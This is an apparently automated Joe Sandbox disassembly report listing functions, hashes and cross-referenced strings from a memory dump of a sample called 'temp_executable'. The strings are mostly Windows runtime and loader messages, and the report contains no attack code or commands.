Opcode ID: f556f9abdadce728d33885d379d8b83e65071334db28a17ee11bf9c91e7fcdd7
Instruction ID: b81b6b68f743b98903806af0e235bcaf2ddfba6e30ddc25c36672eb6497903f9
Opcode Fuzzy Hash: f556f9abdadce728d33885d379d8b83e65071334db28a17ee11bf9c91e7fcdd7
Instruction Fuzzy Hash: 96513775601788EFE706CBA4C884F9ABBF8FF05344F1440A5E6808B792D7B4E940CB60

Function 32DED62C Relevance: 3.9, Strings: 3, Instructions: 163COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 32DED79F
HEAP[%wZ]: , xrefs: 32DED792
Heap block at %p modified at %p past requested size of %Ix, xrefs: 32DED7B2

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 0-3815128232
Opcode ID: 1f642cb7e8564307972b9291439877ba9c748c607692b5c5da553618372c1117
Instruction ID: 6df91a31ae2c21b8fc94a1ea0a65323090057e6e42f7c4df2b3fdff0c43b53b6
Opcode Fuzzy Hash: 1f642cb7e8564307972b9291439877ba9c748c607692b5c5da553618372c1117
Instruction Fuzzy Hash: F051F3B91007948EF355EB29C84277273E9DB45388F91884DE8C78B789DE36D847DB60

Function 32D732C0 Relevance: 3.9, Strings: 3, Instructions: 111COMMON

Download Yara Rule

Strings

Actx , xrefs: 32D732CC
SXS: %s() passed the empty activation context data, xrefs: 32DB2808
RtlCreateActivationContext, xrefs: 32DB2803

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: Actx $RtlCreateActivationContext$SXS: %s() passed the empty activation context data
API String ID: 0-859632880
Opcode ID: 1375de46d62e6d23666856e25246e274da12bac650dca61c4c4a40771f9e84cd
Instruction ID: 67987203ccd7520715be62773a84735366ccfd00431e0aa11d3c2c88d93ede48
Opcode Fuzzy Hash: 1375de46d62e6d23666856e25246e274da12bac650dca61c4c4a40771f9e84cd
Instruction Fuzzy Hash: 3531ED766003059BEF16CF28D894F9A37A5EF84718F518469ED059F781CBB4E84ACBE0

Function 32DCB214 Relevance: 3.9, Strings: 3, Instructions: 107COMMON

Download Yara Rule

Strings

GlobalFlag, xrefs: 32DCB30F
\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\, xrefs: 32DCB2B2
@, xrefs: 32DCB2F0

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: @$GlobalFlag$\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\
API String ID: 0-4192008846
Opcode ID: 12bfa27571af732ea32108b42c467a6d558d1bfc864bb69a8d3df8125ca20b84
Instruction ID: e059d97c7c9b471ee970ca7cd9ad81742ff2cf505a049e6b74d273cd55861747
Opcode Fuzzy Hash: 12bfa27571af732ea32108b42c467a6d558d1bfc864bb69a8d3df8125ca20b84
Instruction Fuzzy Hash: C1311AB5E40219AEDB11DF94DC84AEEBBBCEF44748F500469EA05BB251DB74DA04CBA0

Function 32D81190 Relevance: 3.8, Strings: 3, Instructions: 97COMMON

Download Yara Rule

Strings

@, xrefs: 32D811C5
BuildLabEx, xrefs: 32D8122F
\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 32D8119B

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: @$BuildLabEx$\Registry\Machine\SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 0-3051831665
Opcode ID: 407c755b68f4ec02dd6d9c758742cc6edbdac8ff7d311d90ea503818e906d973
Instruction ID: 693a83c145b0af0fb89f4361f1a45b7cbd2e00001156cb78a3c8382e1231debe
Opcode Fuzzy Hash: 407c755b68f4ec02dd6d9c758742cc6edbdac8ff7d311d90ea503818e906d973
Instruction Fuzzy Hash: 07317172900659BBDF12CBA5CC45FEEBBB9EF84754F104025E915A7360DB70DA09CBA0

Function 32D551C0 Relevance: 3.2, Strings: 2, Instructions: 658COMMON

Download Yara Rule

Strings

@, xrefs: 32D55365
@, xrefs: 32D554C3

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 180f2d4c5875839d983ab4e33c1724f927ee5052b173c0506520fdcd32f8c658
Instruction ID: 82ffc3a65e90370bab8b04be81f577a0d6c3d179a11812806352605c6e8bceec
Opcode Fuzzy Hash: 180f2d4c5875839d983ab4e33c1724f927ee5052b173c0506520fdcd32f8c658
Instruction Fuzzy Hash: 8232B0B8508351CBDB25CF14C490B2EB7E1EF88748F60492EF99597390EBB4D984CB92

Function 32D45622 Relevance: 3.1, APIs: 2, Instructions: 104timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32D45698
RtlDebugPrintTimes.NTDLL ref: 32DA061D

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 73c9e24d91a357feb153bd04e98b50c460c44030d041930af0018c3edd5dc531
Instruction ID: 84052c1a10a4c9bc1dc298d23cf3a32c852a71ca6c4a74ca8fd1669aa4469d61
Opcode Fuzzy Hash: 73c9e24d91a357feb153bd04e98b50c460c44030d041930af0018c3edd5dc531
Instruction Fuzzy Hash: 0A31EF31201B52AFEB459F24CA50F8AFBA5BF94758F444125E94197B50DFB0E821CBE0

Function 32DBE372 Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

UEFI, xrefs: 32DBE3D1
Legacy, xrefs: 32DBE3DA

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: d6bcbac0f4041c74ad27df5a1023d59b4699de9278ff6c7ac33790a9bdf951bd
Instruction ID: 1e94fde5ec43f5bf51dc475ac881f5feb2b9f16b9ffa44bcd29edfb9b868936f
Opcode Fuzzy Hash: d6bcbac0f4041c74ad27df5a1023d59b4699de9278ff6c7ac33790a9bdf951bd
Instruction Fuzzy Hash: 08613CB1A003189FDB18CFA8C950BADB7F5BF48744F904069E54AEB351EB70D900CBA0

Function 32D5F640 Relevance: 2.7, Strings: 2, Instructions: 159COMMON

Download Yara Rule

Strings

$, xrefs: 32D5F780
$, xrefs: 32D5F716

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$$
API String ID: 3446177414-233714265
Opcode ID: 1f4e3ee8613567e97e9f656fc0400eeead1422b0726b9fabce7fd630a310806d
Instruction ID: 58584ed9933b5fe93fce1c8bf6eb8f154063cbd7177996c7d62c66dbea78e2e3
Opcode Fuzzy Hash: 1f4e3ee8613567e97e9f656fc0400eeead1422b0726b9fabce7fd630a310806d
Instruction Fuzzy Hash: 55619CB5A01749DFEB21CFA4C580B99B7B1BF44308F604469D555AF790CBB4A981CBA0

Function 32D4A1E3 Relevance: 2.6, Strings: 2, Instructions: 118COMMON

Download Yara Rule

Strings

RtlpResUltimateFallbackInfo Enter, xrefs: 32D4A21B
RtlpResUltimateFallbackInfo Exit, xrefs: 32D4A229

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: RtlpResUltimateFallbackInfo Enter$RtlpResUltimateFallbackInfo Exit
API String ID: 0-2876891731
Opcode ID: cbc6465b41b99e3b454cbd535ca4a801a14456ff1bf4b07d48adfe08651d2fbc
Instruction ID: 22432df6506fda8e11b3fd777bdad3d50ae561b62359f6181d6061c16d2d673e
Opcode Fuzzy Hash: cbc6465b41b99e3b454cbd535ca4a801a14456ff1bf4b07d48adfe08651d2fbc
Instruction Fuzzy Hash: C441BB74A407449BEB05CF6AC4A5B5AB7B4FF45B44F2080A5EC40DB3A0EE76D940DB10

Function 32DD314A Relevance: 2.6, Strings: 2, Instructions: 99COMMON

Download Yara Rule

Strings

LdrResGetRCConfig Exit, xrefs: 32DD318E
LdrResGetRCConfig Enter, xrefs: 32DD317C

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit
API String ID: 0-118005554
Opcode ID: 4fcbaa5588cb4fb98498df98d87d9f1b95c78022d8b7a1ed059e725f24e836f5
Instruction ID: 1d0b387ba5acf69762e11e48b23894b7f2ef7217c7bf62407eefb8fa5c33f041
Opcode Fuzzy Hash: 4fcbaa5588cb4fb98498df98d87d9f1b95c78022d8b7a1ed059e725f24e836f5
Instruction Fuzzy Hash: 20312475608B818FD341CF68D880B2AB7E4EF85714F404869FC54CB790EBB1D905CB62

Function 32D731BE Relevance: 2.6, Strings: 2, Instructions: 93COMMON

Download Yara Rule

Strings

.Local\, xrefs: 32D731D5
@, xrefs: 32D7322D

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: .Local\$@
API String ID: 0-380025441
Opcode ID: 104235cb75a7e02c15972501dd2bb2f0e7ca0729f2be1d1ca148a012fe1db3cc
Instruction ID: a8bc184f7a87c0ab81bd3e47b4ad8def40f082ac5a1257f9df7f7b83964db2f9
Opcode Fuzzy Hash: 104235cb75a7e02c15972501dd2bb2f0e7ca0729f2be1d1ca148a012fe1db3cc
Instruction Fuzzy Hash: 3731AFB1509385AFD350CF2CC880A8BBBE8EF95754F40492EF99483710D638DD08CBA2

Function 32D733D0 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

RtlpInitializeAssemblyStorageMap, xrefs: 32DB289A
SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx, xrefs: 32DB289F

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: RtlpInitializeAssemblyStorageMap$SXS: %s() bad parameters:SXS: Map : 0x%pSXS: EntryCount : 0x%lx
API String ID: 0-2653619699
Opcode ID: 9f3c2bdbe9f4525e2307a219fd7be30eefd7a7bed143e1c386623bf15af58e4a
Instruction ID: 179c3299ced7003ff534b1cceb5abe736f7b91cd22a36b34b60df832d4ad7e5e
Opcode Fuzzy Hash: 9f3c2bdbe9f4525e2307a219fd7be30eefd7a7bed143e1c386623bf15af58e4a
Instruction Fuzzy Hash: F711A0B6B00215BBFB1A8E489D45F5A76A9DF84758F608079B904AB384DAB8DD0086A0

Function 32D7A4F0 Relevance: 2.5, Strings: 2, Instructions: 38COMMON

Download Yara Rule

Strings

Threadpool!, xrefs: 32D7A509
Cleanup Group, xrefs: 32D7A504

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: InitializeThunk
String ID: Cleanup Group$Threadpool!
API String ID: 2994545307-4008356553
Opcode ID: 93b358036c0c7e43d9e4932295083c26e82585e9a5586fe81546bea49b61a453
Instruction ID: 0b1bb016564f658a412d0e8194dc4df33da398b3a7f3601057af3f4440a75554
Opcode Fuzzy Hash: 93b358036c0c7e43d9e4932295083c26e82585e9a5586fe81546bea49b61a453
Instruction Fuzzy Hash: 3101D1B2150740AFE311CF28DD05B1277F8EB44B1AF008979A658C7A90E739E944CB56

Function 32D4C6E0 Relevance: 2.2, Strings: 1, Instructions: 960COMMON

Download Yara Rule

Strings

MUI, xrefs: 32D4C7E3, 32D4C960

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: MUI
API String ID: 0-1339004836
Opcode ID: dd1dedb19a5a79c52923049332efe4aa1198547e1740615cb3b718766eb4ca84
Instruction ID: 75818c77f79055968af1ab9738c070884b3fe29b9e75a54065bfd855d3eaa900
Opcode Fuzzy Hash: dd1dedb19a5a79c52923049332efe4aa1198547e1740615cb3b718766eb4ca84
Instruction Fuzzy Hash: C3823979E003189FEB14CFA9C880BADB7B1BF48354F51816AE859AB394DF709985CF50

Function 32D464F0 Relevance: 1.9, APIs: 1, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e31e6c11d250a8acb19011d5e9bdfe89bab1758acba0045b5e943d1942e8c0e1
Instruction ID: 9b4f58938b10647e0bc38fc7feb8dd6e579a2c20f2d576ba2328180971727f78
Opcode Fuzzy Hash: e31e6c11d250a8acb19011d5e9bdfe89bab1758acba0045b5e943d1942e8c0e1
Instruction Fuzzy Hash: C0E19A74608341CFD704CF28C090A5ABBE0FF88348F548A6DE98A97391DF71E946CB92

Function 32D6B1E0 Relevance: 1.9, Strings: 1, Instructions: 629COMMON

Download Yara Rule

Strings

@[2@[2, xrefs: 32D6B1FC

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: @[2@[2
API String ID: 0-2854983874
Opcode ID: cf9c90b38871ee7d6cc428aa484e4de0d4746f5dec94aa939faa7a613449e088
Instruction ID: b2448fa45d8623f79c284b7852b6fab1f6fefa3c91c63f9954593e45f1c7f4ea
Opcode Fuzzy Hash: cf9c90b38871ee7d6cc428aa484e4de0d4746f5dec94aa939faa7a613449e088
Instruction Fuzzy Hash: 8132AFB5E01219DBDB14CFA8D890BBEBBB1FF44748F544029E845BB390EB759941CBA0

Function 32D41051 Relevance: 1.8, APIs: 1, Instructions: 259timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32D41153

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 9c526a2da7c6d1b0a85d87dfecd505b99cc3287838f401ab34266643def84e65
Instruction ID: 2fa3f326ac4a0fa516ccb80f421a91855142235b1dbd08ddaa249d8c89744755
Opcode Fuzzy Hash: 9c526a2da7c6d1b0a85d87dfecd505b99cc3287838f401ab34266643def84e65
Instruction Fuzzy Hash: 5BB112B56093808FD354CF28C480A5AFBF1BB88704F54896EF899DB351DB75E885CB92

Function 32D47623 Relevance: 1.7, APIs: 1, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dbf297a14b60a99dc066a8b99bec1535f932d715ad867cffdb8816dd7852fe6
Instruction ID: a3a6573fcaf3d6c31c26573bf1f155d4a89f4b4de29979774d27bf809aa622dc
Opcode Fuzzy Hash: 4dbf297a14b60a99dc066a8b99bec1535f932d715ad867cffdb8816dd7852fe6
Instruction Fuzzy Hash: 28615E75A00646EFEB08CF78C480B9DFBB6BF88344F64826AD519A7350DF74A945CB90

Function 32D44779 Relevance: 1.6, APIs: 1, Instructions: 111timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32D44817

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 8c906c41a6dd3794b8a2832d3c2316d45a74ba12b5b148238d1d15404cfc97c8
Instruction ID: fca27820470f9155c23433aad0f9dae60f380efd53c76101c0c55620154194a7
Opcode Fuzzy Hash: 8c906c41a6dd3794b8a2832d3c2316d45a74ba12b5b148238d1d15404cfc97c8
Instruction Fuzzy Hash: 2C41D3756003858FE715CF28D894B2ABBE9FF81395F50442DE9818B3A1DF71D885CB91

Function 32D3B420 Relevance: 1.6, APIs: 1, Instructions: 100timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32D3B4AC

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 27f04f865baf94e390108f9a95fb7ca542a486ea7a386cd0978cc1506bc0147d
Instruction ID: 91b8915b31870ec2e8b730740e1dd25344c7fae21ef7a3a4aaa44f2bd1cbe046
Opcode Fuzzy Hash: 27f04f865baf94e390108f9a95fb7ca542a486ea7a386cd0978cc1506bc0147d
Instruction Fuzzy Hash: E83135725422089FC712CF14C880A5677A5FF85368F504269EE449F392CB71ED42CBE4

Function 32D456E0 Relevance: 1.6, APIs: 1, Instructions: 92timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32D45762

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: aa355561374020b8d79e9cfb412a6239f37f0ebed40e9be3918b4ce07c8202a5
Instruction ID: 526d6c4ce25ef917560aef495e9b8fd4117af29b1583e279bc817c8efc14a819
Opcode Fuzzy Hash: aa355561374020b8d79e9cfb412a6239f37f0ebed40e9be3918b4ce07c8202a5
Instruction Fuzzy Hash: 9731B839611A05EFEB458B24DA90F9ABBA6FF84344F449065EC408BB50DF70E830CB90

Function 32DEE750 Relevance: 1.6, APIs: 1, Instructions: 91timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32DEE7B1

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 699d2aab956189e0c860b890feb145e59747419b21d6d5c30206648d993a0d55
Instruction ID: 3b51ef9388349024f0803c7b446e87d28fb7df10a5680e4e1a2e8047aad0b197
Opcode Fuzzy Hash: 699d2aab956189e0c860b890feb145e59747419b21d6d5c30206648d993a0d55
Instruction Fuzzy Hash: 293189B59053018FCB01DF19C48594ABBE1FF8A365F448AAEE4999B310D730DD49CBD2

Function 32D392AF Relevance: 1.5, APIs: 1, Instructions: 35timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32D392D5

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: f9058ae5b4e77f8373f5b941f2c8802404d4a2a3b75146937719503db4cdf376
Instruction ID: ca554bcb1efba666704dc7d10eb0b48c77baaa8ddbc2615c89660dd9db32ae9a
Opcode Fuzzy Hash: f9058ae5b4e77f8373f5b941f2c8802404d4a2a3b75146937719503db4cdf376
Instruction Fuzzy Hash: 9EF0FA36201A04ABD7329B18CC04F8ABBEDEF80B00F140518AA4293690CBA0E909CA60

Function 32D4965A Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

@, xrefs: 32D49713

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: cf001e69a80641a8cc3ed551a73227fc2f86a0353987b9bba849c8e96c1f93c2
Instruction ID: 6d9e48808a485a1f71aba2a8d2a83b4235a097d07cdf9e6531c3d8c27c228ff2
Opcode Fuzzy Hash: cf001e69a80641a8cc3ed551a73227fc2f86a0353987b9bba849c8e96c1f93c2
Instruction Fuzzy Hash: 7E6168B5D05259ABEF11CFAAC844FDEBBB5EF84754F204629E811A7350DF748A01CBA0

Function 32D502F9 Relevance: 1.4, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#%u, xrefs: 32DA4B8F

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_32d10000_temp_executable.jbxd

Similarity

API ID:
String ID: #%u
API String ID: 0-232158463
Opcode ID: 1feed3a473acbf9971fcc3aae518191e00a6840d98e74e35ad9327303c6539e2
Instruction ID: 2f78f6853b4ab05f772107e293b78aa9a750b49d9883b8decb7ebdab2926ad9e
Opcode Fuzzy Hash: 1feed3a473acbf9971fcc3aae518191e00a6840d98e74e35ad9327303c6539e2
Instruction Fuzzy Hash: FF713875A002499FDB05CFA8D991FAEB7F8EF08744F144069E905EB351EBB4E941CBA0

Function 32DCF42F Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

@, xrefs: 32DCF4E7

Memory Dump Source

Source File: 00000003.00000002.20223319876.0000000032D10000.00000040.00001000.00020000.00000000.sdmp, Offset: 32D10000, based on PE: true

Associated: 00000003.00000002.20223319876.0000000032E39000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.20223319876.0000000032E3D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

